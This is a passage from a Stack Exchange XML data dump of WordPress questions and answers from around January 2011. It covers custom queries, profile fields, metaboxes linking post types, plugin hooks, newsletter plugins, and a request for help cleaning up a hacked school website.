  <row Id="6209" PostTypeId="2" ParentId="6207" CreationDate="2011-01-02T00:44:13.367" Score="1" ViewCount="" Body="&lt;p&gt;This should limit the posts pulled in the new WP_Query instance to the currently selected category or the first category of the current post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;$sidebar_query_vars = array('orderby' =&amp;gt; 'rand', 'showposts' =&amp;gt; 12);&#xA;if(is_category()) {&#xA;    $sidebar_query_vars['cat'] = $wp_query-&amp;gt;get_queried_object()-&amp;gt;term_id;&#xA;} elseif (is_single()) {&#xA;    $categories = (get_the_terms($wp_query-&amp;gt;get_queried_object_id(), 'category'));&#xA;    if(is_array($categories)) {&#xA;        $first_cat = array_shift($categories);&#xA;        $sidebar_query_vars['cat'] = $first_cat-&amp;gt;term_id;&#xA;    }&#xA;}&#xA;$sidebar_query = new WP_Query($sidebar_query_vars);&#xA;while($sidebar_query-&amp;gt;have_posts()): $sidebar_query-&amp;gt;the_post();&#xA;//do output here&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="203" LastEditorUserId="203" LastEditorDisplayName="" LastEditDate="2011-01-02T21:52:00.487" LastActivityDate="2011-01-02T21:52:00.487" CommentCount="6" />
  <row Id="6210" PostTypeId="2" ParentId="3255" CreationDate="2011-01-02T03:52:22.283" Score="2" ViewCount="" Body="&lt;p&gt;To answer the first part of your question, I have just put my &lt;a href=&quot;https://gist.github.com/762247&quot; rel=&quot;nofollow&quot;&gt;class TTT_User_Profile_Addon on GitHub&lt;/a&gt;. The class offers a simple interface to add a field to a profile page. I have added an example for a checkbox subclass and some code to initialize it per functions.php. This works in a plugin too, of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some build in placeholders, but you can add your own. Separate filters for the markup and input values make extending the class easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set custom capabilities for showing and saving the fields per constructor call. The whole work is reduced to a simple init function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'ttt_init_profile_addons' );&#xA;&#xA;/**&#xA; * Registers the extra fields for the user profile editor.&#xA; */&#xA;function ttt_init_profile_addons()&#xA;{&#xA;    $GLOBALS['ttt_show_profile'] = new TTT_User_Profile_Checkbox(&#xA;        array (&#xA;            'name' =&amp;gt; 'ttt_show_profile'&#xA;        ,   'label' =&amp;gt; 'Show a short profile box on my posts.'&#xA;        ,   'th' =&amp;gt; ''&#xA;        ,   'td' =&amp;gt; '&amp;lt;input type=&quot;checkbox&quot; name=&quot;%name%&quot; id=&quot;%id%&quot; %checked% /&amp;gt; %label%'&#xA;        ,   'cap_show' =&amp;gt; 'edit_posts'&#xA;        ,   'cap_save' =&amp;gt; 'edit_users'&#xA;        )&#xA;    );&#xA;    // add more fields here …&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding the values to the member table is something I still have on my todo list …&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and I should probably mention another class to replace or extend the default contact fields: &lt;a href=&quot;https://gist.github.com/618662&quot; rel=&quot;nofollow&quot;&gt;TTT_Contactfields&lt;/a&gt;. This may be a case of OOP overdone. :)&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-01-02T04:04:29.563" LastActivityDate="2011-01-02T04:04:29.563" />
  <row Id="6211" PostTypeId="2" ParentId="3255" CreationDate="2011-01-02T05:31:09.690" Score="0" ViewCount="" Body="&lt;p&gt;this is probably not a final answer, depending on what you want to do, but have you checked out regi-plus-redux?  I have used it for a number of sites and it lets you add properties, and set them as viewable in the profile or not (ie. viewable to the user or only to admins.)&lt;/p&gt;&#xA;" OwnerUserId="2092" LastActivityDate="2011-01-02T05:31:09.690" CommentCount="1" />
  <row Id="6212" PostTypeId="1" CreationDate="2011-01-02T09:40:02.893" Score="0" ViewCount="156" Body="&lt;p&gt;I want to generate unique TEXT+Images+Link for each (single) post, the results will be visible to content area right hand side, within a BOX. I already have a plugins WP-InfoBox (http://wordpress.org/extend/plugins/wp-infobox/) it works similar ways but the developer who made, he didn't bothered the class, ID -- so it's messed-up the entire theme. I tried to change the class, ID names from the plugins but it's not working anyways. It's overlapping and I almost spend 3-4 hrs but I couldn't able to resolve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Basic things, I'm looking for&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Include images+text+link form WordPress CUSTOM area&lt;/li&gt;&#xA;&lt;li&gt;Visibility in the location (&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-infobox/screenshots/&quot; rel=&quot;nofollow&quot;&gt;see images&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me with that issue, that would be great.&lt;/p&gt;&#xA;" OwnerUserId="2249" LastActivityDate="2011-08-08T04:20:55.527" Title="How to show Small Box Inside Content Area, which holds (text, images, links)?" Tags="&lt;custom-field&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" />
  <row Id="6213" PostTypeId="1" CreationDate="2011-01-02T08:34:33.643" Score="0" ViewCount="174" Body="&lt;p&gt;WP 3.0.2 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adding &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;  &amp;lt;?php query_posts($query_string . &quot;&amp;order=ASC&quot;) ?&gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;above&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;  &amp;lt;?php if(have_posts()) : ?&gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the page.php file, with no result&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:40:32.233" LastActivityDate="2011-03-03T14:07:19.157" Title="How to reverse the order of Wordpress blog posts?" Tags="&lt;query-posts&gt;" AnswerCount="3" />
  <row Id="6214" PostTypeId="2" ParentId="6213" CreationDate="2011-01-02T11:02:09.933" Score="0" ViewCount="" Body="&lt;p&gt;Try combine &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;orderby=date&amp;amp;order=ASC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-01-02T11:02:09.933" />
  <row Id="6215" PostTypeId="2" ParentId="6213" CreationDate="2011-01-02T12:08:35.197" Score="3" ViewCount="" Body="&lt;p&gt;Maybe page.php is not your friend for this one.&lt;br&gt;&#xA;It depends where is the list of posts you want to modify.&lt;br&gt;&#xA;Try index.php for homepage or archive.php for category based views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check &lt;a href=&quot;http://codex.wordpress.org/Theme_Development#Template_Files_List&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Theme_Development#Template_Files_List&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;page.php is used when an individual Page is queried - that means this page is usually the only post displayed there. Playing with its order gets boring after while .)&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-01-02T12:08:35.197" CommentCount="1" />
  <row Id="6216" PostTypeId="1" AcceptedAnswerId="6217" CreationDate="2011-01-02T12:51:50.107" Score="0" ViewCount="87" Body="&lt;p&gt;How can i echo total number of posts in last year ? I‚m writing article with stats, and want to get number of posts i published last year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is something here, but not for last year &lt;a href=&quot;http://perishablepress.com/press/2006/08/28/display-total-number-of-posts/&quot; rel=&quot;nofollow&quot;&gt;http://perishablepress.com/press/2006/08/28/display-total-number-of-posts/&lt;/a&gt; It displays only total number of all posts&lt;/p&gt;&#xA;" OwnerUserId="1853" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:40:53.573" LastActivityDate="2011-01-11T07:40:53.573" Title="Total number of posts in last year" Tags="&lt;stats&gt;&lt;custom-sql&gt;" AnswerCount="1" />
  <row Id="6217" PostTypeId="2" ParentId="6216" CreationDate="2011-01-02T14:58:15.527" Score="4" ViewCount="" Body="&lt;p&gt;All you need to do is modify the SQL query.  Using the code you linked as a base:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$numposts = $wpdb-&amp;gt;get_var(&quot;SELECT COUNT(*) FROM $wpdb-&amp;gt;posts WHERE post_status = 'publish' AND year(post_date) = 2010&quot;);&#xA;if (0 &amp;lt; $numposts) $numposts = number_format($numposts); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 'AND' I added basically gives you all the posts of 2010.  Change the year accordingly&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-01-02T14:58:15.527" CommentCount="3" />
  <row Id="6218" PostTypeId="1" AcceptedAnswerId="6219" CreationDate="2011-01-02T16:41:43.293" Score="0" ViewCount="57" Body="&lt;p&gt;What are the actions that a plugin can hook on to for processing when the user deletes a category?&lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2011-01-02T17:34:39.443" Title="Which are the hooks run before/after when a category's deletion?" Tags="&lt;plugin-development&gt;&lt;categories&gt;&lt;hooks&gt;&lt;actions&gt;" AnswerCount="1" />
  <row Id="6219" PostTypeId="2" ParentId="6218" CreationDate="2011-01-02T17:34:39.443" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_delete_category&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_delete_category()&lt;/code&gt;&lt;/a&gt; is a small wrapper around &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_delete_term&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_delete_term()&lt;/code&gt;&lt;/a&gt; ( &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/taxonomy.php#L1320&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has number of hooks, the one that comes right before delete is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action( 'delete_term_taxonomy', $tt_id );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hooks after delete:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action( 'deleted_term_taxonomy', $tt_id );&#xA;do_action('delete_term', $term, $tt_id, $taxonomy);&#xA;do_action(&quot;delete_$taxonomy&quot;, $term, $tt_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are also few earlier hooks that deal with remapping children terms.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-02T17:34:39.443" />
  <row Id="6220" PostTypeId="1" CreationDate="2011-01-02T17:43:14.263" Score="1" ViewCount="107" Body="&lt;p&gt;I'd like to run a WordPress install with open registration so that anyone can sign up and post to a custom post type that would live at... domain.com/open/date/the-post-title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also like to run a blog on the same WP install that only I can post to that would live at... domain.com/blog/date/the-post-title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is something like this possible without running MultiSite (which I believe would force the blog to live at blog.domain.com)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eddie&lt;/p&gt;&#xA;" OwnerUserId="2255" LastActivityDate="2011-08-31T01:37:07.507" Title="Custom post types with custom directories" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;customization&gt;&lt;directories&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="6221" PostTypeId="2" ParentId="6220" CreationDate="2011-01-02T18:05:29.990" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is something like this possible without running MultiSite (which I believe would force the blog to live at blog.domain.com)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not quite. There are two basic modes multisite installation can operate in: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sub-domains ( &lt;em&gt;site.domain.com&lt;/em&gt; )&lt;/li&gt;&#xA;&lt;li&gt;sub-directories ( &lt;em&gt;domain.com/site&lt;/em&gt; )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As far as I remember in subdirectory installation main blog is also forced to have &lt;code&gt;/blog/&lt;/code&gt; at start of permalinks for compatbility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for your requirements sub-directory install with main blog at &lt;em&gt;domain.com&lt;/em&gt; (posts at &lt;em&gt;domain.com/blog/&lt;/em&gt;) and additional blog at &lt;em&gt;domain.com/open/&lt;/em&gt; seems to fit.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-02T19:00:00.667" LastActivityDate="2011-01-02T19:00:00.667" CommentCount="1" />
  <row Id="6222" PostTypeId="1" AcceptedAnswerId="6224" CreationDate="2011-01-02T18:10:20.130" Score="1" ViewCount="139" Body="&lt;p&gt;I run a video game news blog. When my staff writes a news article or a review, I would like them to be able to &quot;assign&quot; that post to a game (if applicable), so then I could have the single.php template call information on that game (title, boxart, publisher, release date, etc.) and display it in the sidebar. I thought this might involve a custom taxonomy so that it could be assigned to a post just like tags are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then I realized I also wanted those games to have full pages loaded with information. I initially thought to create a custom post type for pages, and using custom fields, I could call the game's box art, show its release date, display any posts or reviews on that game and displaying them with brief excerpts, and using custom taxonomies to display the game's publisher, developer, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And THEN I realized I also wanted those publishers and developers to have their own pages as well. Description, location, links to articles involving them, lists of any games attributed to them... and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of these can be child pages of the other, since developers aren't always permanently tied to any particular publisher, games are sometimes co-developed by multiple parties, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in a pickle, and can't figure out how to re-organize my site. I really want to use all the new toys in WordPress to make the site I want, rather than WP limiting what I can do. Any suggestions? I've been brainstorming for days trying to figure something out. Any suggestions would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2256" LastActivityDate="2011-01-02T19:13:19.127" Title="Making pages also serve as taxonomies? Or give full pages to taxonomies?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;posts&gt;&lt;page&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="6223" PostTypeId="1" CreationDate="2011-01-02T18:17:20.523" Score="3" ViewCount="132" Body="&lt;p&gt;I'd like to create a custom comment type based by thread level. The initial comment on a given post (top tier comment) would require the commenter to enter a title (I assume this would be a new database field since comments don't typically have titles) and then enter the comment in the typical comment body field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, f someone were to reply directly to this comment (2nd tier comment) then they would be presented with the standard comment box that does not require a title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would something like this be possible in WP via creating a custom plugin, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eddie&lt;/p&gt;&#xA;" OwnerUserId="2255" LastActivityDate="2011-01-03T14:18:00.590" Title="Custom comment type based on thread level" Tags="&lt;comments&gt;&lt;get-comments&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="6224" PostTypeId="2" ParentId="6222" CreationDate="2011-01-02T19:05:14.440" Score="0" ViewCount="" Body="&lt;p&gt;There are a few choices to go with this.  I've actually gone through the same though process you have been.  It would be easy if Wordpress let you link posts or custom post types together but in lieu of that, the hackery of Wordpress developers must occur!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution I went with in the plugin I'm working on is a bit hacky, but it works for me.  Basically in my plugin, I wanted to have a post type called series that holds info on a particular tv series, a post type for episodes and another post type for DVD and Blu-ray releases.  I wanted both the episode and releases post types to reference the series type they come from, so if I create a single series post page, it could list the episodes and releases as well as the series info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution involves a custom field that holds the object id of the series.  The first way to accomplish this was to create a metabox that had a select box of all the posts of type series:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function get_select_array($post_type) {&#xA;    global $wpdb;&#xA;    $query = &quot;SELECT ID, post_title FROM $wpdb-&amp;gt;posts WHERE post_type = '$post_type' AND post_status = 'publish' ORDER BY post_title&quot;;&#xA;    $results = $wpdb-&amp;gt;get_results($query, OBJECT);&#xA;    $series = array();&#xA;    foreach ($results as $result) {&#xA;        $series[] = array('name' =&amp;gt; $result-&amp;gt;post_title, 'value' =&amp;gt; $result-&amp;gt;ID);&#xA;    }&#xA;    return $series;                 &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function get_select_array() basically takes a custom post type and returns the post titles and ID's of all the ones that are published in an array.  I then use that array to populate a select box.  In my plugin, I'm using the metabox &lt;a href=&quot;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;creation class created by Rilwis&lt;/a&gt; but I'll post some code for you to use (code is adapted from Rilwis's code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_meta_box('parent_series', 'Series', 'show_series_metabox', 'episode', 'side', 'high');  //add a side metabox&#xA;function show_series_metabox() {&#xA;    global $post;&#xA;    echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;wp_meta_box_nonce&quot; value=&quot;', wp_create_nonce(basename(__FILE__)), '&quot; /&amp;gt;';  //nonce&#xA;    $series = get_select_array('series'); //get post titles and ID's of post type 'series&#xA;    $meta = get_post_meta($post-&amp;gt;ID, 'parent_series', true); //get the meta value of the custom field&#xA;    echo '&amp;lt;select name=&quot;parent_series&quot; id=&quot;parent_series&quot;&amp;gt;';//create the select box&#xA;    foreach ($series as $s) {&#xA;        echo '&amp;lt;option value=&quot;', $s['value'], '&quot;', $meta == $s['value'] ? ' selected=&quot;selected&quot;' : '', '&amp;gt;', $s['name'], '&amp;lt;/option&amp;gt;';&#xA;    }&#xA;    echo '&amp;lt;/select&amp;gt;';&#xA;}&#xA;add_action('save_post', 'save_series_metabox');&#xA;function save_series_metabox() {&#xA;    $real_post_id = isset($_POST['post_ID']) ? $_POST['post_ID'] : NULL ;   //get post id&#xA;    $old = get_post_meta($real_post_id, 'parent_series', true);             //get old stored meta value&#xA;    $new = $_POST['parent_series'];                                         //new meta value&#xA;    if ($new &amp;amp;&amp;amp; $new != $old) {                                             //saving or deleting value&#xA;        update_post_meta($real_post_id, 'parent_series', $new);&#xA;    } elseif ('' == $new &amp;amp;&amp;amp; $old) {&#xA;        delete_post_meta($real_post_id, 'parent_series', $old);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will add a metabox that has a select that lists all the series available.  When the post is saved, the id of that series will be saved in a custom field called 'parent_series'.  Once that is done, you can call on that id and use it to call the series info via a custom query.  Or its possible to do the opposite: on the series page, you do a query for all the episode pages that have the same value in their custom field/meta data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there you have it.  Using this code you can link posts of one type to those of another, making them work like pseudo taxonomies in a way.  I edited the code up pretty quickly so if you find any errors or bugs, let me know.  If there are better ways to do this, please let me know :)&lt;/p&gt;&#xA;" OwnerUserId="2234" LastEditorUserId="2234" LastEditorDisplayName="" LastEditDate="2011-01-02T19:13:19.127" LastActivityDate="2011-01-02T19:13:19.127" CommentCount="6" />
  <row Id="6225" PostTypeId="2" ParentId="1567" CreationDate="2011-01-02T20:00:51.673" Score="3" ViewCount="" Body="&lt;h2&gt;&lt;strong&gt;Custom excerpt length&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function excerpt($num) {&#xA;    $limit = $num+1;&#xA;    $excerpt = explode(' ', get_the_excerpt(), $limit);&#xA;    array_pop($excerpt);&#xA;    $excerpt = implode(&quot; &quot;,$excerpt).&quot;... (&amp;lt;a href='&quot; .get_permalink($post-&amp;gt;ID) .&quot; '&amp;gt;Read more&amp;lt;/a&amp;gt;)&quot;;&#xA;    echo $excerpt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Limit the length of the displayed excerpt by writing in the theme: excerpt('20'); &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;code&gt;&amp;lt;?php excerpt('22'); ?&amp;gt;&lt;/code&gt;&#xA;This will limit the excerpt to 22 characters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The excerpt will be interupted with &lt;code&gt;... (Read More)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-01-02T20:00:51.673" CommunityOwnedDate="2011-01-02T20:00:51.673" />
  <row Id="6226" PostTypeId="2" ParentId="1567" CreationDate="2011-01-02T20:13:51.250" Score="3" ViewCount="" Body="&lt;h2&gt;Add &quot;Next-page&quot;-button in WYSIYG-editor&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('mce_buttons','wysiwyg_editor');&#xA;function wysiwyg_editor($mce_buttons) {&#xA;    $pos = array_search('wp_more',$mce_buttons,true);&#xA;    if ($pos !== false) {&#xA;        $tmp_buttons = array_slice($mce_buttons, 0, $pos+1);&#xA;        $tmp_buttons[] = 'wp_page';&#xA;        $mce_buttons = array_merge($tmp_buttons, array_slice($mce_buttons, $pos+1));&#xA;    }&#xA;    return $mce_buttons;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1463" LastEditorUserId="1463" LastEditorDisplayName="" LastEditDate="2011-01-03T13:52:39.380" LastActivityDate="2011-01-03T13:52:39.380" CommunityOwnedDate="2011-01-02T20:13:51.250" />
  <row Id="6227" PostTypeId="1" CreationDate="2011-01-02T21:35:01.377" Score="0" ViewCount="408" Body="&lt;p&gt;I am using &lt;code&gt;built-in&lt;/code&gt; Wordpress function to add (small) thumbnails to each post. In addition to the post thumbnail I am using &lt;strong&gt;MultiPostThumbnail plugin&lt;/strong&gt; to add custom category (large) image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since not all posts have thumbnails or &quot;secondary image&quot; (as it is called by MultiPostThumbnail plugin) I would like to display thumbnails (either large or small) in this order:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If I a post has large (MultiPostThumbnails) thumbnail and (&lt;strong&gt;small&lt;/strong&gt;) thumbnail display only (&lt;strong&gt;large&lt;/strong&gt;) thumbnail.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If a post doesn't have a (&lt;strong&gt;large&lt;/strong&gt;) thumbnail display the (&lt;strong&gt;small&lt;/strong&gt;) thumbnail.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope now it makes more sense. It's a simple if statement but I can't get it to work. Here is a &quot;pseudo-code&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (class_exists('MultiPostThumbnails')&#xA;   &amp;amp;&amp;amp; MultiPostThumbnails::has_post_thumbnail('post', 'secondary-image')) :&#xA;      MultiPostThumbnails::the_post_thumbnail('post', 'secondary-image', NULL,  'post-secondary-image-thumbnail');&#xA;else {&#xA;   the_post_thumbnail();&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-01-04T18:22:49.567" LastActivityDate="2011-08-08T20:21:04.260" Title="MultiPostThumbnail and the_post_thumbnail" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="6228" PostTypeId="1" AcceptedAnswerId="6229" CreationDate="2010-12-13T19:29:21.137" Score="0" ViewCount="202" Body="&lt;p&gt;I'm looking to use WordPress as an Intranet platform and would like to be able to send newsletters to my users which link back to the main article on the WordPress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any recommendations or suggestions as to where I should start looking?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers  &lt;/p&gt;&#xA;" OwnerUserId="684" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-07T23:04:50.583" LastActivityDate="2011-05-07T23:04:50.583" Title="Recommend a WordPress Newsletter Plugin" Tags="&lt;mailing-list&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="6229" PostTypeId="2" ParentId="6228" CreationDate="2010-12-13T22:28:45.803" Score="2" ViewCount="" Body="&lt;p&gt;MailChimp has &lt;a href=&quot;http://www.mailchimp.com/plugins/mailchimp-wordpress-plugin/&quot; rel=&quot;nofollow&quot;&gt;a WordPress plugin&lt;/a&gt; and there are some other WordPress plugins (&lt;a href=&quot;http://wordpress.org/extend/plugins/newsletter/&quot; rel=&quot;nofollow&quot;&gt;Newsletter plugin&lt;/a&gt;; &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-newsletter/&quot; rel=&quot;nofollow&quot;&gt;Simple newsletter plugin&lt;/a&gt;) that offer very basic newsletter functionality without all the extras of a dedicated tool. &lt;/p&gt;&#xA;" LastActivityDate="2011-01-02T21:39:12.737" CommentCount="1" />
  <row Id="6230" PostTypeId="2" ParentId="6228" CreationDate="2011-01-02T20:23:34.503" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://blog.tribulant.com/mailing-list-plugin/wordpress-newsletter-plugin-v3-8-4/&quot; rel=&quot;nofollow&quot;&gt;http://blog.tribulant.com/mailing-list-plugin/wordpress-newsletter-plugin-v3-8-4/&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-01-02T21:39:12.737" />
  <row Id="6231" PostTypeId="1" AcceptedAnswerId="6232" CreationDate="2010-11-27T15:52:20.737" Score="0" ViewCount="83" Body="&lt;p&gt;I've just installed Wordpress here at arun.sanspace.in But, don't know why, it doesn't display any images. I want to know why? I have another Wordpress installation on the same server which works great. What exactly is the problem here? Am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I copy the image location from the placeholder and open it alone, it displays the picture. It happens on IE and FF both.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2011-07-04T18:37:24.427" Title="Why no images on a fresh Wordpress installation?" Tags="&lt;images&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="6232" PostTypeId="2" ParentId="6231" CreationDate="2010-11-28T08:57:05.120" Score="1" ViewCount="" Body="&lt;p&gt;I've figured it out. I had enabled hotlink protection. I installed the new blog in a new subdomain which was not added to the hotlink protection. So, it prevented the image requests. Now I added to the list and everything's fine. Silly me. :-(&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2011-01-02T21:41:55.917" />
  <row Id="6233" PostTypeId="1" AcceptedAnswerId="6234" CreationDate="2010-11-22T20:05:11.633" Score="0" ViewCount="92" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4422/need-help-cleaning-up-a-wordpress-site-after-being-hacked&quot;&gt;Need help cleaning up a wordpress site after being hacked&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Off Topic? Maybe, point me to where this would be On Topic!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi All,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My daughter attends a private school. Recently their wordpress website was hacked and they need some help cleaning it up. I don't have the experience with wordpress to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there services or websites that they could use to find the expertise to help with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course they would be compensated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a description of the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;-DF5&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Thank you for getting back to me. We are trying to detect any possible back&#xA;  door vulnerabilities in our Wordpress installation that may be allowing&#xA;  scripts or bots to place malicious code on our website. We have been hit by&#xA;  a specific drug company. This code seems to turn up in our pHp files. The&#xA;  original problem was that people who clicked twice on any page of our site&#xA;  were redirected to this drug website!!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We have cleaned the installation manually, but there may still be scripts&#xA;  running in the database or remaining vulnerabilities because we did not want&#xA;  a re-installation of a clean version of Wordpress. We have scanned the&#xA;  database and there appear to be no known rogue files, but we are concerned&#xA;  that there may still be scripts running that are very well hidden. We&#xA;  basically  need someone to start by looking through our files to see if&#xA;  there is something we and the scan missed.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There is a lot of customization we did on our website and are trying to&#xA;  avoid a clean install. We are also in contact with Dream Host (our hosting&#xA;  company) to see if it is a server issue as we are uncertain if this is a&#xA;  Wordpress vulnerability via a plugin or a server issue that Dream Host can&#xA;  resolve.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The website seems to be functioning well now, we are mainly trying to&#xA;  prevent another problem and to eradicate any malicious code so we are not&#xA;  penalized in the search engines.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1667" LastActivityDate="2011-01-03T05:38:04.093" ClosedDate="2011-08-17T15:12:09.440" 